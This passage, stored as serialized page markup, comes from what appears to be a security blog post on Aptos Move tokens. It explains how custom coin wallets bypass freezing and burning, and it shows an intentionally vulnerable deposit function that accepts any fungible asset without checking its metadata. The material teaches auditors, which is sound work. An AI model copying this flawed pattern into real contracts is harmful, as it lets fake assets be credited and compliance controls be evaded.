metadata:",{"type":20,"tag":305,"props":59386,"children":59388},{"className":1360,"code":59387,"language":1359,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[59389],{"type":20,"tag":119,"props":59390,"children":59391},{"__ignoreMap":7},[59392,59432,59460,59480,59510,59539],{"type":20,"tag":315,"props":59393,"children":59394},{"class":317,"line":318},[59395,59399,59404,59408,59412,59416,59420,59424,59428],{"type":20,"tag":315,"props":59396,"children":59397},{"style":541},[59398],{"type":26,"value":7800},{"type":20,"tag":315,"props":59400,"children":59401},{"style":322},[59402],{"type":26,"value":59403}," CoinStore",{"type":20,"tag":315,"props":59405,"children":59406},{"style":328},[59407],{"type":26,"value":4199},{"type":20,"tag":315,"props":59409,"children":59410},{"style":635},[59411],{"type":26,"value":4204},{"type":20,"tag":315,"props":59413,"children":59414},{"style":322},[59415],{"type":26,"value":4209},{"type":20,"tag":315,"props":59417,"children":59418},{"style":328},[59419],{"type":26,"value":4214},{"type":20,"tag":315,"props":59421,"children":59422},{"style":635},[59423],{"type":26,"value":4219},{"type":20,"tag":315,"props":59425,"children":59426},{"style":635},[59427],{"type":26,"value":4325},{"type":20,"tag":315,"props":59429,"children":59430},{"style":328},[59431],{"type":26,"value":1092},{"type":20,"tag":315,"props":59433,"children":59434},{"class":317,"line":356},[59435,59440,59444,59448,59452,59456],{"type":20,"tag":315,"props":59436,"children":59437},{"style":635},[59438],{"type":26,"value":59439}," coin",{"type":20,"tag":315,"props":59441,"children":59442},{"style":334},[59443],{"type":26,"value":2884},{"type":20,"tag":315,"props":59445,"children":59446},{"style":322},[59447],{"type":26,"value":4194},{"type":20,"tag":315,"props":59449,"children":59450},{"style":328},[59451],{"type":26,"value":4199},{"type":20,"tag":315,"props":59453,"children":59454},{"style":322},[59455],{"type":26,"value":4978},{"type":20,"tag":315,"props":59457,"children":59458},{"style":328},[59459],{"type":26,"value":4532},{"type":20,"tag":315,"props":59461,"children":59462},{"class":317,"line":365},[59463,59468,59472,59476],{"type":20,"tag":315,"props":59464,"children":59465},{"style":635},[59466],{"type":26,"value":59467}," frozen",{"type":20,"tag":315,"props":59469,"children":59470},{"style":334},[59471],{"type":26,"value":2884},{"type":20,"tag":315,"props":59473,"children":59474},{"style":322},[59475],{"type":26,"value":10451},{"type":20,"tag":315,"props":59477,"children":59478},{"style":328},[59479],{"type":26,"value":643},{"type":20,"tag":315,"props":59481,"children":59482},{"class":317,"line":374},[59483,59488,59492,59497,59501,59506],{"type":20,"tag":315,"props":59484,"children":59485},{"style":635},[59486],{"type":26,"value":59487}," deposit_events",{"type":20,"tag":315,"props":59489,"children":59490},{"style":334},[59491],{"type":26,"value":2884},{"type":20,"tag":315,"props":59493,"children":59494},{"style":322},[59495],{"type":26,"value":59496}," EventHandle",{"type":20,"tag":315,"props":59498,"children":59499},{"style":328},[59500],{"type":26,"value":4199},{"type":20,"tag":315,"props":59502,"children":59503},{"style":322},[59504],{"type":26,"value":59505},"DepositEvent",{"type":20,"tag":315,"props":59507,"children":59508},{"style":328},[59509],{"type":26,"value":4532},{"type":20,"tag":315,"props":59511,"children":59512},{"class":317,"line":383},[59513,59518,59522,59526,59530,59535],{"type":20,"tag":315,"props":59514,"children":59515},{"style":635},[59516],{"type":26,"value":59517}," withdraw_events",{"type":20,"tag":315,"props":59519,"children":59520},{"style":334},[59521],{"type":26,"value":2884},{"type":20,"tag":315,"props":59523,"children":59524},{"style":322},[59525],{"type":26,"value":59496},{"type":20,"tag":315,"props":59527,"children":59528},{"style":328},[59529],{"type":26,"value":4199},{"type":20,"tag":315,"props":59531,"children":59532},{"style":322},[59533],{"type":26,"value":59534},"WithdrawEvent",{"type":20,"tag":315,"props":59536,"children":59537},{"style":328},[59538],{"type":26,"value":4532},{"type":20,"tag":315,"props":59540,"children":59541},{"class":317,"line":407},[59542],{"type":20,"tag":315,"props":59543,"children":59544},{"style":328},[59545],{"type":26,"value":577},{"type":20,"tag":29,"props":59547,"children":59548},{},[59549,59551,59556,59558,59563],{"type":26,"value":59550},"However, an astute reader would note that this isn't the only place a ",{"type":20,"tag":119,"props":59552,"children":59554},{"className":59553},[],[59555],{"type":26,"value":59220},{"type":26,"value":59557}," can be stored. You can create your own ",{"type":20,"tag":119,"props":59559,"children":59561},{"className":59560},[],[59562],{"type":26,"value":59220},{"type":26,"value":59564}," wallet, which could look like this:",{"type":20,"tag":305,"props":59566,"children":59568},{"className":1360,"code":59567,"language":1359,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[59569],{"type":20,"tag":119,"props":59570,"children":59571},{"__ignoreMap":7},[59572,59612,59639],{"type":20,"tag":315,"props":59573,"children":59574},{"class":317,"line":318},[59575,59579,59584,59588,59592,59596,59600,59604,59608],{"type":20,"tag":315,"props":59576,"children":59577},{"style":541},[59578],{"type":26,"value":7800},{"type":20,"tag":315,"props":59580,"children":59581},{"style":322},[59582],{"type":26,"value":59583}," DefinitelyLegitCoinStore",{"type":20,"tag":315,"props":59585,"children":59586},{"style":328},[59587],{"type":26,"value":4199},{"type":20,"tag":315,"props":59589,"children":59590},{"style":635},[59591],{"type":26,"value":4204},{"type":20,"tag":315,"props":59593,"children":59594},{"style":322},[59595],{"type":26,"value":4209},{"type":20,"tag":315,"props":59597,"children":59598},{"style":328},[59599],{"type":26,"value":4214},{"type":20,"tag":315,"props":59601,"children":59602},{"style":635},[59603],{"type":26,"value":4219},{"type":20,"tag":315,"props":59605,"children":59606},{"style":635},[59607],{"type":26,"value":4325},{"type":20,"tag":315,"props":59609,"children":59610},{"style":328},[59611],{"type":26,"value":1092},{"type":20,"tag":315,"props":59613,"children":59614},{"class":317,"line":356},[59615,59619,59623,59627,59631,59635],{"type":20,"tag":315,"props":59616,"children":59617},{"style":635},[59618],{"type":26,"value":59439},{"type":20,"tag":315,"props":59620,"children":59621},{"style":334},[59622],{"type":26,"value":2884},{"type":20,"tag":315,"props":59624,"children":59625},{"style":322},[59626],{"type":26,"value":4194},{"type":20,"tag":315,"props":59628,"children":59629},{"style":328},[59630],{"type":26,"value":4199},{"type":20,"tag":315,"props":59632,"children":59633},{"style":322},[59634],{"type":26,"value":4978},{"type":20,"tag":315,"props":59636,"children":59637},{"style":328},[59638],{"type":26,"value":4386},{"type":20,"tag":315,"props":59640,"children":59641},{"class":317,"line":365},[59642],{"type":20,"tag":315,"props":59643,"children":59644},{"style":328},[59645],{"type":26,"value":577},{"type":20,"tag":29,"props":59647,"children":59648},{},[59649,59654,59656,59662,59664,59669,59671,59677,59679,59684],{"type":20,"tag":119,"props":59650,"children":59652},{"className":59651},[],[59653],{"type":26,"value":59382},{"type":26,"value":59655}," includes a ",{"type":20,"tag":119,"props":59657,"children":59659},{"className":59658},[],[59660],{"type":26,"value":59661},"frozen",{"type":26,"value":59663}," field, allowing the issuer to block transfers to and from the store. ",{"type":20,"tag":119,"props":59665,"children":59667},{"className":59666},[],[59668],{"type":26,"value":59382},{"type":26,"value":59670}," is also required for a ",{"type":20,"tag":119,"props":59672,"children":59674},{"className":59673},[],[59675],{"type":26,"value":59676},"burn_from",{"type":26,"value":59678}," operation, which withdraws the ",{"type":20,"tag":119,"props":59680,"children":59682},{"className":59681},[],[59683],{"type":26,"value":59187},{"type":26,"value":59685}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":20,"tag":29,"props":59687,"children":59688},{},[59689,59691,59696,59698,59705,59707,59712],{"type":26,"value":59690},"Storing ",{"type":20,"tag":119,"props":59692,"children":59694},{"className":59693},[],[59695],{"type":26,"value":59187},{"type":26,"value":59697}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":20,"tag":35,"props":59699,"children":59702},{"href":59700,"rel":59701},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[39],[59703],{"type":26,"value":59704},"AIP-21",{"type":26,"value":59706}," summarizes the ",{"type":20,"tag":119,"props":59708,"children":59710},{"className":59709},[],[59711],{"type":26,"value":59187},{"type":26,"value":59713}," problems:",{"type":20,"tag":1312,"props":59715,"children":59716},{},[59717,59726],{"type":20,"tag":29,"props":59718,"children":59719},{},[59720,59724],{"type":20,"tag":315,"props":59721,"children":59722},{},[59723],{"type":26,"value":7990},{"type":26,"value":59725}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":20,"tag":29,"props":59727,"children":59728},{},[59729],{"type":26,"value":59730},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":20,"tag":29,"props":59732,"children":59733},{},[59734],{"type":26,"value":59735},"And declares, that:",{"type":20,"tag":1312,"props":59737,"children":59738},{},[59739],{"type":20,"tag":29,"props":59740,"children":59741},{},[59742],{"type":26,"value":59743},"Fungible assets addresses these issues.",{"type":20,"tag":29,"props":59745,"children":59746},{},[59747],{"type":26,"value":59748},"Let's find out whether this is indeed the case.",{"type":20,"tag":21,"props":59750,"children":59752},{"id":59751},"the-fungible-assets",[59753],{"type":26,"value":59754},"The fungible assets",{"type":20,"tag":29,"props":59756,"children":59757},{},[59758,59760,59766,59768,59775],{"type":26,"value":59759},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":20,"tag":119,"props":59761,"children":59763},{"className":59762},[],[59764],{"type":26,"value":59765},"FungibleAsset",{"type":26,"value":59767}," uses the ",{"type":20,"tag":35,"props":59769,"children":59772},{"href":59770,"rel":59771},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[39],[59773],{"type":26,"value":59774},"hot-potato pattern",{"type":26,"value":2884},{"type":20,"tag":305,"props":59777,"children":59779},{"className":1360,"code":59778,"language":1359,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[59780],{"type":20,"tag":119,"props":59781,"children":59782},{"__ignoreMap":7},[59783,59799,59829,59849],{"type":20,"tag":315,"props":59784,"children":59785},{"class":317,"line":318},[59786,59790,59795],{"type":20,"tag":315,"props":59787,"children":59788},{"style":541},[59789],{"type":26,"value":7800},{"type":20,"tag":315,"props":59791,"children":59792},{"style":322},[59793],{"type":26,"value":59794}," FungibleAsset",{"type":20,"tag":315,"props":59796,"children":59797},{"style":328},[59798],{"type":26,"value":1092},{"type":20,"tag":315,"props":59800,"children":59801},{"class":317,"line":356},[59802,59807,59811,59816,59820,59825],{"type":20,"tag":315,"props":59803,"children":59804},{"style":635},[59805],{"type":26,"value":59806}," metadata",{"type":20,"tag":315,"props":59808,"children":59809},{"style":334},[59810],{"type":26,"value":2884},{"type":20,"tag":315,"props":59812,"children":59813},{"style":322},[59814],{"type":26,"value":59815}," Object",{"type":20,"tag":315,"props":59817,"children":59818},{"style":328},[59819],{"type":26,"value":4199},{"type":20,"tag":315,"props":59821,"children":59822},{"style":322},[59823],{"type":26,"value":59824},"Metadata",{"type":20,"tag":315,"props":59826,"children":59827},{"style":328},[59828],{"type":26,"value":4532},{"type":20,"tag":315,"props":59830,"children":59831},{"class":317,"line":365},[59832,59837,59841,59845],{"type":20,"tag":315,"props":59833,"children":59834},{"style":635},[59835],{"type":26,"value":59836}," amount",{"type":20,"tag":315,"props":59838,"children":59839},{"style":334},[59840],{"type":26,"value":2884},{"type":20,"tag":315,"props":59842,"children":59843},{"style":322},[59844],{"type":26,"value":4253},{"type":20,"tag":315,"props":59846,"children":59847},{"style":328},[59848],{"type":26,"value":643},{"type":20,"tag":315,"props":59850,"children":59851},{"class":317,"line":374},[59852],{"type":20,"tag":315,"props":59853,"children":59854},{"style":328},[59855],{"type":26,"value":577},{"type":20,"tag":29,"props":59857,"children":59858},{},[59859,59861,59866,59867,59872,59874,59879,59881,59888],{"type":26,"value":59860},"Unlike ",{"type":20,"tag":119,"props":59862,"children":59864},{"className":59863},[],[59865],{"type":26,"value":59220},{"type":26,"value":44},{"type":20,"tag":119,"props":59868,"children":59870},{"className":59869},[],[59871],{"type":26,"value":59765},{"type":26,"value":59873}," types are defined at runtime through the ",{"type":20,"tag":119,"props":59875,"children":59877},{"className":59876},[],[59878],{"type":26,"value":59824},{"type":26,"value":59880}," field. This change was meant to ",{"type":20,"tag":35,"props":59882,"children":59885},{"href":59883,"rel":59884},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[39],[59886],{"type":26,"value":59887},"enhance extensibility",{"type":26,"value":2884},{"type":20,"tag":1312,"props":59890,"children":59891},{},[59892],{"type":20,"tag":29,"props":59893,"children":59894},{},[59895],{"type":26,"value":59896},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":20,"tag":29,"props":59898,"children":59899},{},[59900,59902,59908],{"type":26,"value":59901},"An important implication is that functions accepting ",{"type":20,"tag":119,"props":59903,"children":59905},{"className":59904},[],[59906],{"type":26,"value":59907},"FungibleAssets",{"type":26,"value":59909}," must verify the metadata to ensure valid assets.",{"type":20,"tag":29,"props":59911,"children":59912},{},[59913],{"type":26,"value":59914},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":20,"tag":305,"props":59916,"children":59918},{"className":1360,"code":59917,"language":1359,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[59919],{"type":20,"tag":119,"props":59920,"children":59921},{"__ignoreMap":7},[59922,59959,59997,60021,60033,60041,60086,60120,60150,60157,60194,60201,60239,60246,60292],{"type":20,"tag":315,"props":59923,"children":59924},{"class":317,"line":318},[59925,59930,59934,59939,59943,59947,59951,59955],{"type":20,"tag":315,"props":59926,"children":59927},{"style":635},[59928],{"type":26,"value":59929},"public",{"type":20,"tag":315,"props":59931,"children":59932},{"style":635},[59933],{"type":26,"value":4601},{"type":20,"tag":315,"props":59935,"children":59936},{"style":635},[59937],{"type":26,"value":59938}," deposit",{"type":20,"tag":315,"props":59940,"children":59941},{"style":328},[59942],{"type":26,"value":4199},{"type":20,"tag":315,"props":59944,"children":59945},{"style":322},[59946],{"type":26,"value":4381},{"type":20,"tag":315,"props":59948,"children":59949},{"style":334},[59950],{"type":26,"value":2884},{"type":20,"tag":315,"props":59952,"children":59953},{"style":635},[59954],{"type":26,"value":4325},{"type":20,"tag":315,"props":59956,"children":59957},{"style":328},[59958],{"type":26,"value":4983},{"type":20,"tag":315,"props":59960,"children":59961},{"class":317,"line":356},[59962,59967,59971,59975,59979,59983,59988,59992],{"type":20,"tag":315,"props":59963,"children":59964},{"style":635},[59965],{"type":26,"value":59966}," sender",{"type":20,"tag":315,"props":59968,"children":59969},{"style":334},[59970],{"type":26,"value":2884},{"type":20,"tag":315,"props":59972,"children":59973},{"style":334},[59974],{"type":26,"value":5536},{"type":20,"tag":315,"props":59976,"children":59977},{"style":635},[59978],{"type":26,"value":5541},{"type":20,"tag":315,"props":59980,"children":59981},{"style":328},[59982],{"type":26,"value":44},{"type":20,"tag":315,"props":59984,"children":59985},{"style":635},[59986],{"type":26,"value":59987},"fa",{"type":20,"tag":315,"props":59989,"children":59990},{"style":334},[59991],{"type":26,"value":2884},{"type":20,"tag":315,"props":59993,"children":59994},{"style":322},[59995],{"type":26,"value":59996}," FungibleAsset\n",{"type":20,"tag":315,"props":59998,"children":59999},{"class":317,"line":365},[60000,60004,60008,60012,60016],{"type":20,"tag":315,"props":60001,"children":60002},{"style":328},[60003],{"type":26,"value":1468},{"type":20,"tag":315,"props":60005,"children":60006},{"style":635},[60007],{"type":26,"value":4738},{"type":20,"tag":315,"props":60009,"children":60010},{"style":328},[60011],{"type":26,"value":21437},{"type":20,"tag":315,"props":60013,"children":60014},{"style":334},[60015],{"type":26,"value":7990},{"type":20,"tag":315,"props":60017,"children":60018},{"style":328},[60019],{"type":26,"value":60020},"] {\n",{"type":20,"tag":315,"props":60022,"children":60023},{"class":317,"line":374},[60024,60029],{"type":20,"tag":315,"props":60025,"children":60026},{"style":345},[60027],{"type":26,"value":60028}," assert_not_paused",{"type":20,"tag":315,"props":60030,"children":60031},{"style":328},[60032],{"type":26,"value":568},{"type":20,"tag":315,"props":60034,"children":60035},{"class":317,"line":383},[60036],{"type":20,"tag":315,"props":60037,"children":60038},{"style":328},[60039],{"type":26,"value":60040}," \n",{"type":20,"tag":315,"props":60042,"children":60043},{"class":317,"line":407},[60044,60048,60053,60057,60062,60066,60070,60074,60078,60082],{"type":20,"tag":315,"props":60045,"children":60046},{"style":541},[60047],{"type":26,"value":1380},{"type":20,"tag":315,"props":60049,"children":60050},{"style":635},[60051],{"type":26,"value":60052}," fa_amount",{"type":20,"tag":315,"props":60054,"children":60055},{"style":334},[60056],{"type":26,"value":1395},{"type":20,"tag":315,"props":60058,"children":60059},{"style":328},[60060],{"type":26,"value":60061}," fungible_asset",{"type":20,"tag":315,"props":60063,"children":60064},{"style":334},[60065],{"type":26,"value":1861},{"type":20,"tag":315,"props":60067,"children":60068},{"style":345},[60069],{"type":26,"value":18710},{"type":20,"tag":315,"props":60071,"children":60072},{"style":328},[60073],{"type":26,"value":1049},{"type":20,"tag":315,"props":60075,"children":60076},{"style":334},[60077],{"type":26,"value":1490},{"type":20,"tag":315,"props":60079,"children":60080},{"style":635},[60081],{"type":26,"value":59987},{"type":20,"tag":315,"props":60083,"children":60084},{"style":328},[60085],{"type":26,"value":2214},{"type":20,"tag":315,"props":60087,"children":60088},{"class":317,"line":421},[60089,60093,60098,60102,60107,60111,60116],{"type":20,"tag":315,"props":60090,"children":60091},{"style":541},[60092],{"type":26,"value":1380},{"type":20,"tag":315,"props":60094,"children":60095},{"style":635},[60096],{"type":26,"value":60097}," sender_address",{"type":20,"tag":315,"props":60099,"children":60100},{"style":334},[60101],{"type":26,"value":1395},{"type":20,"tag":315,"props":60103,"children":60104},{"style":345},[60105],{"type":26,"value":60106}," address_of",{"type":20,"tag":315,"props":60108,"children":60109},{"style":328},[60110],{"type":26,"value":1049},{"type":20,"tag":315,"props":60112,"children":60113},{"style":635},[60114],{"type":26,"value":60115},"sender",{"type":20,"tag":315,"props":60117,"children":60118},{"style":328},[60119],{"type":26,"value":2214},{"type":20,"tag":315,"props":60121,"children":60122},{"class":317,"line":430},[60123,60128,60132,60137,60141,60146],{"type":20,"tag":315,"props":60124,"children":60125},{"style":345},[60126],{"type":26,"value":60127}," check_compliance",{"type":20,"tag":315,"props":60129,"children":60130},{"style":328},[60131],{"type":26,"value":1049},{"type":20,"tag":315,"props":60133,"children":60134},{"style":635},[60135],{"type":26,"value":60136},"fa_amount",{"type":20,"tag":315,"props":60138,"children":60139},{"style":328},[60140],{"type":26,"value":44},{"type":20,"tag":315,"props":60142,"children":60143},{"style":635},[60144],{"type":26,"value":60145},"sender_address",{"type":20,"tag":315,"props":60147,"children":60148},{"style":328},[60149],{"type":26,"value":2214},{"type":20,"tag":315,"props":60151,"children":60152},{"class":317,"line":453},[60153],{"type":20,"tag":315,"props":60154,"children":60155},{"style":328},[60156],{"type":26,"value":60040},{"type":20,"tag":315,"props":60158,"children":60159},{"class":317,"line":486},[60160,60165,60169,60174,60178,60182,60186,60190],{"type":20,"tag":315,"props":60161,"children":60162},{"style":345},[60163],{"type":26,"value":60164}," increase_deposit",{"type":20,"tag":315,"props":60166,"children":60167},{"style":328},[60168],{"type":26,"value":1049},{"type":20,"tag":315,"props":60170,"children":60171},{"style":345},[60172],{"type":26,"value":60173},"get_vault",{"type":20,"tag":315,"props":60175,"children":60176},{"style":328},[60177],{"type":26,"value":1049},{"type":20,"tag":315,"props":60179,"children":60180},{"style":635},[60181],{"type":26,"value":60145},{"type":20,"tag":315,"props":60183,"children":60184},{"style":328},[60185],{"type":26,"value":13578},{"type":20,"tag":315,"props":60187,"children":60188},{"style":635},[60189],{"type":26,"value":60136},{"type":20,"tag":315,"props":60191,"children":60192},{"style":328},[60193],{"type":26,"value":2214},{"type":20,"tag":315,"props":60195,"children":60196},{"class":317,"line":499},[60197],{"type":20,"tag":315,"props":60198,"children":60199},{"style":328},[60200],{"type":26,"value":60040},{"type":20,"tag":315,"props":60202,"children":60203},{"class":317,"line":513},[60204,60209,60213,60218,60222,60227,60231,60235],{"type":20,"tag":315,"props":60205,"children":60206},{"style":328},[60207],{"type":26,"value":60208}," primary_fungible_store",{"type":20,"tag":315,"props":60210,"children":60211},{"style":334},[60212],{"type":26,"value":1861},{"type":20,"tag":315,"props":60214,"children":60215},{"style":345},[60216],{"type":26,"value":60217},"deposit",{"type":20,"tag":315,"props":60219,"children":60220},{"style":328},[60221],{"type":26,"value":1049},{"type":20,"tag":315,"props":60223,"children":60224},{"style":345},[60225],{"type":26,"value":60226},"global_vault_address",{"type":20,"tag":315,"props":60228,"children":60229},{"style":328},[60230],{"type":26,"value":16778},{"type":20,"tag":315,"props":60232,"children":60233},{"style":635},[60234],{"type":26,"value":59987},{"type":20,"tag":315,"props":60236,"children":60237},{"style":328},[60238],{"type":26,"value":2214},{"type":20,"tag":315,"props":60240,"children":60241},{"class":317,"line":521},[60242],{"type":20,"tag":315,"props":60243,"children":60244},{"style":328},[60245],{"type":26,"value":60040},{"type":20,"tag":315,"props":60247,"children":60248},{"class":317,"line":552},[60249,60254,60258,60263,60267,60272,60276,60280,60284,60288],{"type":20,"tag":315,"props":60250,"children":60251},{"style":328},[60252],{"type":26,"value":60253}," event",{"type":20,"tag":315,"props":60255,"children":60256},{"style":334},[60257],{"type":26,"value":1861},{"type":20,"tag":315,"props":60259,"children":60260},{"style":345},[60261],{"type":26,"value":60262},"emit",{"type":20,"tag":315,"props":60264,"children":60265},{"style":328},[60266],{"type":26,"value":1049},{"type":20,"tag":315,"props":60268,"children":60269},{"style":322},[60270],{"type":26,"value":60271},"Deposit",{"type":20,"tag":315,"props":60273,"children":60274},{"style":328},[60275],{"type":26,"value":43639},{"type":20,"tag":315,"props":60277,"children":60278},{"style":635},[60279],{"type":26,"value":60145},{"type":20,"tag":315,"props":60281,"children":60282},{"style":328},[60283],{"type":26,"value":44},{"type":20,"tag":315,"props":60285,"children":60286},{"style":635},[60287],{"type":26,"value":60136},{"type":20,"tag":315,"props":60289,"children":60290},{"style":328},[60291],{"type":26,"value":31436},{"type":20,"tag":315,"props":60293,"children":60294},{"class":317,"line":571},[60295],{"type":20,"tag":315,"props":60296,"children":60297},{"style":328},[60298],{"type":26,"value":577},{"type":20,"tag":29,"props":60300,"children":60301},{},[60302],{"type":26,"value":60303},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":20,"tag":29,"props":60305,"children":60306},{},[60307],{"type":26,"value":60308},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":20,"tag":21,"props":60310,"children":60312},{"id":60311},"fungible-stores",[60313],{"type":26,"value":60314},"Fungible stores",{"type":20,"tag":29,"props":60316,"children":60317},{},[60318],{"type":26,"value":60319},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":20,"tag":29,"props":60321,"children":60322},{},[60323,60325,60331],{"type":26,"value":60324},"Meet the ",{"type":20,"tag":119,"props":60326,"children":60328},{"className":60327},[],[60329],{"type":26,"value":60330},"FungibleStore",{"type":26,"value":61},{"type":20,"tag":305,"props":60333,"children":60335},{"className":1360,"code":60334,"language":1359,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[60336],{"type":20,"tag":119,"props":60337,"children":60338},{"__ignoreMap":7},[60339,60363,60390,60410,60429],{"type":20,"tag":315,"props":60340,"children":60341},{"class":317,"line":318},[60342,60346,60351,60355,60359],{"type":20,"tag":315,"props":60343,"children":60344},{"style":541},[60345],{"type":26,"value":7800},{"type":20,"tag":315,"props":60347,"children":60348},{"style":322},[60349],{"type":26,"value":60350}," FungibleStore",{"type":20,"tag":315,"props":60352,"children":60353},{"style":635},[60354],{"type":26,"value":7809},{"type":20,"tag":315,"props":60356,"children":60357},{"style":635},[60358],{"type":26,"value":4325},{"type":20,"tag":315,"props":60360,"children":60361},{"style":328},[60362],{"type":26,"value":1092},{"type":20,"tag":315,"props":60364,"children":60365},{"class":317,"line":356},[60366,60370,60374,60378,60382,60386],{"type":20,"tag":315,"props":60367,"children":60368},{"style":635},[60369],{"type":26,"value":59806},{"type":20,"tag":315,"props":60371,"children":60372},{"style":334},[60373],{"type":26,"value":2884},{"type":20,"tag":315,"props":60375,"children":60376},{"style":322},[60377],{"type":26,"value":59815},{"type":20,"tag":315,"props":60379,"children":60380},{"style":328},[60381],{"type":26,"value":4199},{"type":20,"tag":315,"props":60383,"children":60384},{"style":322},[60385],{"type":26,"value":59824},{"type":20,"tag":315,"props":60387,"children":60388},{"style":328},[60389],{"type":26,"value":4532},{"type":20,"tag":315,"props":60391,"children":60392},{"class":317,"line":365},[60393,60398,60402,60406],{"type":20,"tag":315,"props":60394,"children":60395},{"style":635},[60396],{"type":26,"value":60397}," balance",{"type":20,"tag":315,"props":60399,"children":60400},{"style":334},[60401],{"type":26,"value":2884},{"type":20,"tag":315,"props":60403,"children":60404},{"style":322},[60405],{"type":26,"value":4253},{"type":20,"tag":315,"props":60407,"children":60408},{"style":328},[60409],{"type":26,"value":643},{"type":20,"tag":315,"props":60411,"children":60412},{"class":317,"line":374},[60413,60417,60421,60425],{"type":20,"tag":315,"props":60414,"children":60415},{"style":635},[60416],{"type":26,"value":59467},{"type":20,"tag":315,"props":60418,"children":60419},{"style":334},[60420],{"type":26,"value":2884},{"type":20,"tag":315,"props":60422,"children":60423},{"style":322},[60424],{"type":26,"value":10451},{"type":20,"tag":315,"props":60426,"children":60427},{"style":328},[60428],{"type":26,"value":643},{"type":20,"tag":315,"props":60430,"children":60431},{"class":317,"line":383},[60432],{"type":20,"tag":315,"props":60433,"children":60434},{"style":328},[60435],{"type":26,"value":577},{"type":20,"tag":29,"props":60437,"children":60438},{},[60439,60444,60446,60451,60453,60458,60460,60465,60467,60472],{"type":20,"tag":119,"props":60440,"children":60442},{"className":60441},[],[60443],{"type":26,"value":60330},{"type":26,"value":60445}," manages balances and metadata instead of holding the actual ",{"type":20,"tag":119,"props":60447,"children":60449},{"className":60448},[],[60450],{"type":26,"value":59765},{"type":26,"value":60452}," (it can't because ",{"type":20,"tag":119,"props":60454,"children":60456},{"className":60455},[],[60457],{"type":26,"value":59765},{"type":26,"value":60459}," doesn't have ",{"type":20,"tag":119,"props":60461,"children":60463},{"className":60462},[],[60464],{"type":26,"value":4334},{"type":26,"value":60466},"). Withdrawals create temporary ",{"type":20,"tag":119,"props":60468,"children":60470},{"className":60469},[],[60471],{"type":26,"value":59765},{"type":26,"value":60473}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":20,"tag":17197,"props":60475,"children":60476},{},[],{"type":20,"tag":29,"props":60478,"children":60479},{},[60480,60482,60487,60489,60494],{"type":26,"value":60481},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":20,"tag":119,"props":60483,"children":60485},{"className":60484},[],[60486],{"type":26,"value":59765},{"type":26,"value":60488}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":20,"tag":119,"props":60490,"children":60492},{"className":60491},[],[60493],{"type":26,"value":59765},{"type":26,"value":61},{"type":20,"tag":305,"props":60496,"children":60498},{"className":1360,"code":60497,"language":1359,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[60499],{"type":20,"tag":119,"props":60500,"children":60501},{"__ignoreMap":7},[60502,60539,60591,60634,60641,60648,60720,60732,60770,60789,60796],{"type":20,"tag":315,"props":60503,"children":60504},{"class":317,"line":318},[60505,60509,60513,60518,60522,60527,60531,60535],{"type":20,"tag":315,"props":60506,"children":60507},{"style":635},[60508],{"type":26,"value":59929},{"type":20,"tag":315,"props":60510,"children":60511},{"style":635},[60512],{"type":26,"value":4601},{"type":20,"tag":315,"props":60514,"children":60515},{"style":345},[60516],{"type":26,"value":60517}," 